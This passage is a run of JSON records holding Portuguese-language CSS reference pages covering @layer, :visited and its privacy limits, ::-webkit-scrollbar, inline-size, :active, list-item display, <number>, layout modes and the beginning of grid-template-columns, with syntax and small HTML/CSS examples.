{"title":"@layer - CSS","text":"@layer\n======\n\nBaseline 2022\n-------------\n\nNewly availableSince March 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA regra at (at-rule) **`@layer`** define uma *camada de cascata*. Dentro dessa camada, as regras CSS fazem parte da mesma cascata, dando mais controle sobre as cascatas para os desenvolvedores web.\n\n\n```css\n@layer utilitarios {\n  /\\* cria uma nova camada CSS chamada \"utilitarios\". \\*/\n}\n```\n\nSintaxe\n-------\n\nVocê pode utilizar o `@layer` para criar uma camada de cascata de três maneiras. A primeira é como no exemplo acima, criando um bloco com o `@layer` e inserindo as regras CSS dentro deste bloco.\n\n\n```css\n@layer utilitarios {\n  .padding-sm {\n    padding: 0.5rem;\n  }\n\n  .padding-lg {\n    padding: 0.8rem;\n  }\n}\n```\n\n\nA camada de cascata também pode ser criada com o `@import`, neste caso as regras estarão no arquivo CSS importado:\n\n\n```css\n@import (utilitarios.css) layer(utilitarios);\n```\n\n\nVocê também pode criar uma camada de cascata nomeada sem atrelar à nenhum estilo. Você pode definir uma única camada:\n\n\n```css\n@layer utilitarios;\n```\n\n\nOu, múltiplas camadas de uma vez só, como por exemplo:\n\n\n```css\n@layer temas, layout, utilitarios;\n```\n\n\nIsto pode ser útil pois a ordem inicial na qual as camadas são declaradas definem qual camada tem preferência. Assim como declarações, a última camada a ser definida terá preferência se declarações concorrentes forem encontradas em múltiplas camadas. Aplicando ao exemplo anterior, se uma regra conflitante estiver nas camadas `temas` e `utilitarios`, a regra encontrada no `utilitarios` é a vencedora e será aplicada.\n\nA regra definida no `utilitarios` será aplicada *mesmo se tiver especificidade mais baixa* que a regra em `tema`. Isso ocorre pois uma vez que a ordem das camadas é estabelecida, especificidade e ordem de aparição das regras são ignoradas. Isso nos permite criar seletores CSS mais simples, já que você não precisa se preocupar tanto se um seletor CSS terá especificidade alta o suficiente para sobrescrever regras concorrentes, você só precisa verificar se a sua regra está localizada em uma camada definida posteriormente.\n\n**Nota:** Ao declarar o nome de suas camadas e sua ordem, você pode adicionar regras CSS para a camada re-declarando seu nome. Os estilos serão incluídos na camadas e a ordenação das camadas não será modificada.\n\nQualquer estilo que não está atrelado à nenhuma camada são reunidos em uma mesma camada anônima que tem preferência à todas as outras camadas declaradas. Isso significa que qualquer estilo declarado fora de uma camada sobrescreve os estilos declarados em uma camada.\n\n### Aninhando camadas\n\nCamadas podem ser aninhadas (nested), como no exemplo abaixo:\n\n\n```css\n@layer framework {\n  @layer layout {\n  }\n}\n```\n\n\nPara juntas as regras da camada `layout` dentro de `framework`, junte os dois nomes com um `.`.\n\n\n```css\n@layer framework.layout {\n  p {\n    margin-block: 1rem;\n  }\n}\n```\n\n### Camadas anônimas\n\nSe uma camada não tiver seu nome declarado, como por exemplo:\n\n\n```css\n@layer {\n  p {\n    margin-block: 1rem;\n  }\n}\n```\n\n\nEntão uma camada anônima é criada. Ela funciona da mesma maneira das camadas nomeadas, porém novas regras não podem ser adicionadas à essa camada.\n\nSintaxe formal\n--------------\n```\n\n@layer =   \n  @layer <layer-name>? (en-US) { <rule-list> }  | (en-US)  \n  @layer <layer-name># (en-US) ;                  \n  \n<layer-name> =   \n  <ident> (en-US) [ (en-US) '.' <ident> (en-US) ] (en-US)\\* (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Exemplo simples\n\nNo exemplo seguinte, duas regras CSS são criadas. Uma para o elemento `<p>` fora de qualquer layer, e outra dentro de uma camada chamada `tipo` com o seletor `.caixa p`.\n\nSem camadas, o seletor `.caixa p` teria a maior especificidade, então o texto 'Olá, mundo!' seria mostrado em verde. Mas como a camada `tipo` vem antes da camada anônima criada para agrupar todos as regras sem camada definida, o texto será mostrado roxo.\n\nPerceba também a ordem. Mesmo se declararmos um estilo sem camada primeiro, ele ainda é aplicado *depois* dos estilos com camada.\n\n#### HTML\n\n\n```html\n<div class=\"caixa\">\n  <p>Olá, mundo!</p>\n</div>\n```\n\n\n#### CSS\n\n\n```css\np {\n  color: rebeccapurple;\n}\n\n@layer tipo {\n  .caixa p {\n    font-weight: bold;\n    font-size: 1.3em;\n    color: green;\n  }\n}\n```\n\n\n#### Resultado\n\n### Declarando regras para camadas pré-existentes\n\nNo exemplo seguinte, duas camadas são criadas sem regras definidas, e depois são aplicadas regras CSS para as duas camadas. A camada `base` define as propriedades color, border, font-size e padding. A camada `especial` layer define um valor de color diferente. Como o `especial` vem depois na definição das camadas, a cor que ele carrega é utilizada e o texto será mostrado com a cor `rebeccapurple`. Todas as outras regras da camada `base` ainda são aplicadas.\n\n#### HTML\n\n\n```html\n<div class=\"item\">\n  Eu estou sendo mostrado com <code>color: rebeccapurple</code> pois a camada\n  <code>especial</code> vem depois da camada <code>base</code>. Minha borda\n  verde, font-size, e padding vem da camada <code>base</code>.\n</div>\n```\n\n\n#### CSS\n\n\n```css\n@layer base, especial;\n\n@layer especial {\n  .item {\n    color: rebeccapurple;\n  }\n}\n\n@layer base {\n  .item {\n    color: green;\n    border: 5px solid green;\n    font-size: 1.3em;\n    padding: 0.5em;\n  }\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Cascading and Inheritance Level 5 # layering |\n\nCompatibilidade de Navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The Future of CSS: Cascade Layers"}
{"title":":visited - CSS","text":":visited\n========\n\nO **`:visited`** é uma Pseudo-classe do CSS para indicar se o link em questão já foi visitado pelo usuário. Por questões de privacidade, os styles que podem ser modificados usando este seletor são muito limitados.\n\n\n```css\n/\\* Seleciona qualquer <a> que poderá ser visitado \\*/\na:visited {\n  color: green;\n}\n```\n\n\nStyles definidos pela pseudo-classe `:visited` vão ser substituidos por qualquer pseudo-classe relacionada ao link subsequente (`:link`, `:hover`, ou `:active`) que tenha ao menos uma especificação igual. Para estilizar links apropriadamente, garantindo assim seu funcionamento adequado, ponha a regra `:visited` depois da regra `:link` mas antes das regras `:hover` e `:active` , Pode-se definir pela ordem *LVHA*: `:link` — `:visited` — `:hover` — `:active`.\n\nRestrições de Estilo\n--------------------\n\nPor razões de privacidade, navegadores limitam estritamente quais estilos você pode aplicar usando esta pseudo-class, como elas podem ser usadas:\n\n* Propriedades admicíveis no CSS são:\n    + `color`;\n    + `background-color`;\n    + `border-color` (en-US);\n    + `border-bottom-color` (en-US);\n    + `border-left-color` (en-US);\n    + `border-right-color` (en-US);\n    + `border-top-color` (en-US);\n    + `column-rule-color` (en-US);\n    + `outline-color` (en-US).\n* Atributos SVG admissíveis são `fill` e `stroke (en-US)`.\n* Os componentes alpha permitidos de estilos seram ignorados. Ao invés disso, o componente alpha do elemento de estado non-`:visited` será usado, exceto quando o componente é `0`, no qual o estilo definido em `:visited` será inteiramente ignorado.\n* Embora esses estilos podem mudar como as cores serão mostradas ao usuário, o método `window.getComputedStyle` (en-US) vai mentir e sempre retornar o valor da cor em non-`:visited.`\n\n**Nota:** Para mais informações quanto a essas limitações e as razões por trás delas, veja Privacy and the :visited selector (en-US). Obs: No momento estará apenas disponível em inglês.\n\nSyntaxe\n-------\n\n\n```css\na {\n  background-color: white;\n  border: 1px solid white;\n}\na:visited {\n  background-color: lightblue;\n  border-color: cyan;\n  color: darkblue;\n}\n```\n\nExemplo\n-------\n\nPropriedades que de alguma forma não tenha cor (\"color\") definida, ou seja transparente, não podem ser modificadas como o `:visited`. Das propriedades que podem ser definidas por essa pseudo-classe, seu navegador provavelmente terá por padão valores para `color` e `column-rule-color` somente. Portanto, se você quiser modificar outras propriedades, você necessitará pré-definir os valores fora do seletor `:visited`.\n\n### HTML\n\n\n```html\n<a href=\"#\">Você já visitou este link?</a>\n<br />\n<a href=\"\">Você já visitou este link.</a>\n```\n\n### CSS\n\n\n```css\na {\n  /\\* Specifica non-transparent por padrão para algumas\n propriedades, permitindo-os a serem estilizados pelo\n estado :visited \\*/\n  background-color: white;\n  border: 1px solid white;\n}\n\na:visited {\n  background-color: yellow;\n  border-color: hotpink;\n  color: hotpink;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-visited |\n| Selectors Level 4 # link |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também (inglês)\n--------------------\n\n* Privacy and the :visited selector (en-US)\n* Link-related pseudo-classes: `:link`, `:active`, `:hover`"}
{"title":"::-webkit-scrollbar - CSS","text":"::-webkit-scrollbar\n===================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nO pseudo-elemento CSS `:-webkit-scrollbar` afeta o estilo de um elemento referente a barra de rolagem quando se tem por definido `overflow:scroll;`.\n\n**Nota:** Se o `overflow:scroll;` não estiver definido nenhuma barra de rolagem será exibida.\n\n**Nota:** `::-webkit-scrollbar` está disponível somente em navegadores baseados em Blink - e WebKit - (Chrome, Edge, Opera, Safari, todos os navegadores para iOS, e outros). Um método padronizado para estilização de barras de rolagem está disponível com `scrollbar-color` e `scrollbar-width` (en-US).\n\nSeletores CSS da Barra de Rolagem\n---------------------------------\n\nVocê pode usar os seguintes pseudo-elementos para customizar diversas partes da barra de rolagem para navegadores baseados em webkit:\n\n* `::-webkit-scrollbar` — a barra de rolagem inteira.\n* `::-webkit-scrollbar-button` — os botões na barra (setas para cima e para baixo no qual rolam uma linha de cada vez).\n* `::-webkit-scrollbar-thumb` — a barra arrastável de rolagem.\n* `::-webkit-scrollbar-track` — o caminho (barra de progresso) da barra de rolagem onde há uma barra cinza encima de uma barra branca.\n* `::-webkit-scrollbar-track-piece` — a parte do caminho (barra de progresso) não coberto por uma barra.\n* `::-webkit-scrollbar-corner` — o canto inferior da barra de rolagem, onde ambas barras horizontal e vertical se encontram. Muitas das vezes o canto inferior direito da janela do navegador.\n* `::-webkit-resizer` — a barra redimensionável que aparece no canto inferior de alguns elementos.\nExemplos\n--------\n\n### CSS\n\n\n```css\n.visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar {\n  display: block;\n  width: 10em;\n  overflow: auto;\n  height: 2em;\n}\n\n.invisible-scrollbar::-webkit-scrollbar {\n  display: none;\n}\n\n/\\* Demonstração de uma barra de rolagem personalizada\n \\* (não será visível ao menos que a largura/altura seja especificada) \\*/\n.mostly-customized-scrollbar::-webkit-scrollbar {\n  width: 5px;\n  height: 8px;\n  background-color: #aaa; /\\* ou que isso seja adicionado ao \"caminho\" da barra \\*/\n}\n\n/\\* Adiciona a barra arrastável \\*/\n.mostly-customized-scrollbar::-webkit-scrollbar-thumb {\n    background: #000;\n}\n```\n\n### HTML\n\n\n```html\n<div class=\"visible-scrollbar\">\n  Etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.\n  Proin at nulla elementum, consectetur ex eget, commodo ante.\n  Sed eros mi, bibendum ut dignissim et, maximus eget nibh. Phasellus\n  blandit quam turpis, at mollis velit pretium ut. Nunc consequat\n  efficitur ultrices. Nullam hendrerit posuere est. Nulla libero\n  sapien, egestas ac felis porta, cursus ultricies quam. Vestibulum\n  tincidunt accumsan sapien, a fringilla dui semper in. Vivamus\n  consectetur ipsum a ornare blandit. Aenean tempus at lorem sit\n  amet faucibus. Curabitur nibh justo, faucibus sed velit cursus,\n  mattis cursus dolor. Pellentesque id pretium est. Quisque\n  convallis nisi a diam malesuada mollis. Aliquam at enim ligula.\n</div>\n\n<div class=\"invisible-scrollbar\">\nEstaéumapalavramuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuitolonga\n</div>\n\n<div class=\"mostly-customized-scrollbar\">\nEstaéumapalavramuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuitolonga<br>\nE bem alta<br>\ncom uma barra de rolagem estranha.<br>\nQuem diria que barras de rolagem poderiam ser estraaaanhas?\n</div>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\nNão é parte de nenhum padrão.\n\nCompatibilidade entre navegadores\n---------------------------------\n\n### `::-webkit-scrollbar`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-scrollbar-button`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-scrollbar-thumb`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-scrollbar-track`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-scrollbar-track-piece`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-scrollbar-corner`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### `::-webkit-resizer`\n\n### css.selectors.-webkit-scrollbar\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-button\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-thumb\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-track-piece\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-scrollbar-corner\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.selectors.-webkit-resizer\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* WebKit blog em Estilizando barras de rolagem\n* Testando WebKit para os estilos da barra de rolagem mencionados acima\n* `scrollbar-width` (en-US)\n* `scrollbar-color`"}
{"title":"inline-size - CSS","text":"inline-size\n===========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade do CSS **`inline-size`** define o tamanho horizontal e vertical de um elemento bloco. Ele é correspondente a cada propriedade `width` ou a `height`, dependendo do valor de `writing-mode`.\n\n\n```css\n/\\* <length> values \\*/\ninline-size: 300px;\ninline-size: 25em;\n\n/\\* <percentage> values \\*/\ninline-size: 75%;\n\n/\\* Keyword values \\*/\ninline-size: 25em border-box;\ninline-size: 75% content-box;\ninline-size: max-content;\ninline-size: min-content;\ninline-size: available;\ninline-size: fit-content;\ninline-size: auto;\n\n/\\* Global values \\*/\ninline-size: inherit;\ninline-size: initial;\ninline-size: unset;\n```\n\n\nSe o writing mode é orientado verticalmente, o valor de `inline-size` relaciona a altura do elemento; ao contrário, está relacionado a largura do elemento. A propriedade relacionada é a `block-size`, no qual define a outra dimensão do elemento.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | same as `width` and `height` |\n| Inherited | não |\n| Percentages | inline-size of containing block |\n| Computed value | same as `width` and `height` |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe\n-------\n\n### Valores\n\nA propriedade `inline-size` aproveita os mesmos valores que as propriedades `width` e `height`.\n\n### Sintaxe formal\n```\n\ninline-size =   \n  <'width'>    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<p class=\"exampleText\">Texto de Exemplo</p>\n```\n\n### CSS\n\n\n```css\n.exampleText {\n  writing-mode: vertical-rl;\n  background-color: yellow;\n  inline-size: 110px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Logical Properties and Values Level 1 # dimension-properties |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* As propriedades físicas mapeadas: `width` e `height`\n* `writing-mode`"}
{"title":":active - CSS","text":":active\n=======\n\nA pseudo-classe css <strong> :active </strong>\nEsse estilo pode ser substituído por qualquer outra pseudo-classe relacionada ao link, ou seja, `:link`, `:hover` e `:visited`, aparecendo nas regras subseqüentes. Para estilizar apropriadamente os links, você precisa colocar a regra `:active` depois de todas as outras regras relacionadas ao link, conforme definido pela ordem LVHA. `:link` — `:visited` — `:hover` — `:active`.\n\n**Nota:** Em sistemas com mouses com vários botões, o CSS 3 especifica que a pseudo-classe :active só deve ser aplicada ao botão principal em mouses destros, este é tipicamente o botão mais à esquerda.\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<body>\n  <h1>:active CSS selector example</h1>\n  <p>\n    The following link will turn lime during the time you click it and release\n    the click: <a href=\"#\">Mozilla Developer Network</a>.\n  </p>\n</body>\n```\n\n### CSS\n\n\n```css\nbody {\n  background-color: #ffffc9;\n}\na:link {\n  color: blue;\n} /\\* links não visitados \\*/\na:visited {\n  color: purple;\n} /\\* links visitados \\*/\na:hover {\n  font-weight: bold;\n} /\\* user hovers \\*/\na:active {\n  color: lime;\n} /\\* links ativos \\*/\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-active |\n| Selectors Level 4 # the-active-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Link-related pseudo-classes: `:link`, `:visited`, and `:hover`."}
{"title":"<display-listitem> - CSS","text":"<display-listitem>\n==================\n\nO `list-item` palavra-chave faz com que o elemento gere um`::marker` pseudoelemento com o conteúdo especificado por sua `list-style` (en-US) propriedades (por exemplo, um marcador) junto com uma caixa principal do tipo especificado para seu próprio conteúdo.\n\nSintaxe\n-------\n\nUm valor único de `list-item` fará com que o elemento se comporte como um item da lista. Isso pode ser usado junto com`list-style-type` (en-US) e `list-style-position` (en-US).\n\n`list-item` também pode ser combinado com qualquer `<display-outside>` palavra-chave e o `flow` ou `flow-root` `<display-inside>` palavras-chave.\n\n**Nota:**: Nos navegadores que suportam a sintaxe de dois valores, se nenhum valor interno for especificado, o padrão será `flow`. Se nenhum valor externo for especificado, a caixa principal terá um tipo de exibição externo de`block`.\n\n### Sintaxe formal\n```\n\n<display-listitem> =   \n  <display-outside>? (en-US)     && (en-US)  \n  [ (en-US) flow | (en-US) flow-root ] (en-US)? (en-US)  && (en-US)  \n  list-item                \n  \n<display-outside> =   \n  block   | (en-US)  \n  inline  | (en-US)  \n  run-in    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<div class=\"fake-list\">I will display as a list item</div>\n```\n\n### CSS\n\n\n```css\n.fake-list {\n  display: list-item;\n  list-style-position: inside;\n}\n```\n\n### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Suporte delist-item\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-outside>`\n    + `<display-inside>`\n    + `<display-internal>`\n    + `<display-box>`\n    + `<display-legacy>`"}
{"title":"Privacidade e o seletor :visited - CSS","text":"Privacidade e o seletor :visited\n================================\n\nAntes de 2010, o seletor CSS `:visited` permitia que websites descobrissem o histórico de navegação dos usuários e quais sites estes haviam visitado. Isto foi feito por meio do `window.getComputedStyle` (en-US) e outras tecnicas. Este processo era fácil de ser feito, e tornou possível não somente determinar onde os usuários estiveram na internet, mas também poderia ser usado para descobrir um monte de informação sobre a identidade destes.\n\nPara contornar este problema, Gecko 2 implementou atualizações de privacidade para limitar a quantidade de informações que poderiam ser obtidas através dos links visitados. Outros navegadores também fizeram mudanças similares.\n\nPequenas mentiras brancas\n-------------------------\n\nPara preservar a privacidade dos usuários, Firefox e outros navegadores irão mentir para aplicações webs sob certas circustâncias:\n\n* O método `window.getComputedStyle`, e funções similares tal como `element.querySelector`, sempre retornarão valores indicando que os usuários nunca visitaram quaisquer links em uma página.\n* Se você usa seletores como **seletores de irmãos** como `:visited + span`, o elemento imediato (`span` neste exemplo) será estilizado como se o link não houvesse sido visitado.\n* Em raros casos, se você está utilizando elementos de links aninhados e o elemento que está sendo correspondido é diferente do link cuja presença no histórico está sendo testado, o elemento também será renderizado como se o link não houvesse sido visitado.\nLimites para estilos de links visitados\n---------------------------------------\n\nVocê pode estilizar links visitados, porém existem limites de quais estilos você pode usar. Somente os seguintes estilos podem ser aplicados para links visitados:\n\n* `color`\n* `background-color`\n* `border-color` (en-US) (e suas subpropriedades)\n* `column-rule-color` (en-US)\n* `outline-color` (en-US)\n* As partes de cor dos atributos `fill` e `stroke (en-US)`\n\nEm adição, mesmo para os estilos acima, você não poderá alterar a transparência entre links visitados e não visitados, ou de outra maneira você seria capaz de usar `rgba()`, `hsla()`, ou a palavra chave `transparent`.\n\nAqui está um exemplo de como estilizar com as restrições acima mencionadas:\n\n\n```css\n:link {\n  outline: 1px dotted blue;\n  background-color: white;\n  /\\* O valor padrão de background-color é `transparent`. Você precisa\n especificar um valor diferente, caso contrário as mudanças\n feitas em :visited não se aplicam. \\*/\n}\n\n:visited {\n  outline-color: orange; /\\* Links visitados tem contornos laranja \\*/\n  background-color: green; /\\* Links visitados tem um fundo verde \\*/\n  color: yellow; /\\* Links visitados tem texto amarelo \\*/\n}\n```\n\nImpacto nos desenvolvedores web\n-------------------------------\n\nNo geral, essas restrições estas restrições não deveriam afetar desenvolvedores web tão significamente. Eles poderiam, como sempre, They may, no entanto, requerer essas seguintes mudanças nos sites existentes:\n\n* Usar imagens de fundo para estilizar links baseados se eles foram visitados não irá funcionar, desde que apenas cores podem ser usadas para estilizar links visitados.\n* As cores que são transparentes deixarão de aparecer se estilizados em seletores `:visited`.\nVeja também\n-----------\n\n* privacy-related changes coming to CSS :visited em Mozilla Hacks (em inglês)\n* Plugging the CSS History Leak em the Mozilla Security Blog (em inglês)\n* Preventing attacks on a user's history through CSS :visited selectors (em inglês)"}
{"title":"<number> - CSS","text":"<number>\n========\n\nO tipo de dado CSS **`<number>`** representa um número, sendo esse ou um inteiro ou um componente fracional.\n\nSintaxe\n-------\n\nA sintaxe de `<number>` estende a sintaxe de `<integer>` (en-US). Um valor fracional é representado por um **`.`** seguido de um ou mais dígitos decimais e pode ser anexado a número inteiro. Não existe uma unidade associada aos números.\n\nInterpolação\n------------\n\nQuando animado, os valores de `<number>` são interpolados como números reais e de ponto flutuante. A velocidade da interpolação é determinada pelo tempo da função (en-US) associada à animação.\n\nExemplos\n--------\n\n### Números Válidos\n\n\n```css\n12          Um <integer> puro é também um <number>.\n4.01        Fração positiva\n-456.8      Fração negativa\n0.0         Zero\n+0.0        Zero inciado por um +\n-0.0        Zero iniciado por um -\n.60         Um número fracional sem ser iniciado por zero\n10e3        Notação científica\n-3.4e-2     Notação científica complexa\n```\n\n### Números Inválidos\n\n\n```css\n12.         Números decimais devem ser seguidos por pelo menos um dígito.\n+-12.2      Só um sinal +/- é permitido.\n12.1.1      Só um ponto decimal é permitido.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Values and Units Module Level 4 # numbers |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<integer>` (en-US)"}
{"title":"Modelo de layout - CSS","text":"Modelo de layout\n================\n\nO modelo de layout CSS, às vezes abreviado por *layout*, é um algoritimo que determina a posição e tamanho dos boxes baseado em como estes interagem com os boxes filhos e boxe ancestral. Há vários layouts:\n\n* *Block layout*, designed for laying out documents. The block layout contains document-centric features, like the ability to *float* elements or to lay them out over *multiple columns* (en-US).\n* *Inline layout*, designed for laying out text.\n* *Table layout* (en-US), designed for laying out tables.\n* *Positioned layout*, designed for positioning elements without much interaction with other elements.\n* *Flexible box layout*, designed for laying out complex pages that can be resized smoothly.\n* *Grid layout*, designed for laying out elements relative to a fixed grid.\n\n**Nota:** Not all CSS properties apply to all *layout modes*. Most of them apply to one or two of them and have no effect if they are set on an element participating in another layout mode."}
{"title":"grid-template-columns - CSS","text":"grid-template-columns\n=====================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade `grid-template-columns` do CSS define os nomes das linhas e funções de dimensionamento (track sizing) do grid columns (en-US).\n\n\n```css\n/\\* valores padrão \\*/\ngrid-template-columns: none;\n\n/\\* exemplos de <track-list> \\*/\ngrid-template-columns: 100px 1fr;\ngrid-template-columns: [linename] 100px;\ngrid-template-columns: [linename1] 100px [linename2 linename3];\ngrid-template-columns: minmax(100px, 1fr);\ngrid-template-columns: fit-content(40%);\ngrid-template-columns: repeat(3, 200px);\n\n/\\* exemplos de <auto-track-list> \\*/\ngrid-template-columns: 200px repeat(auto-fill, 100px) 300px;\ngrid-template-columns:\n  minmax(100px, max-content)\n  repeat(auto-fill, 200px) 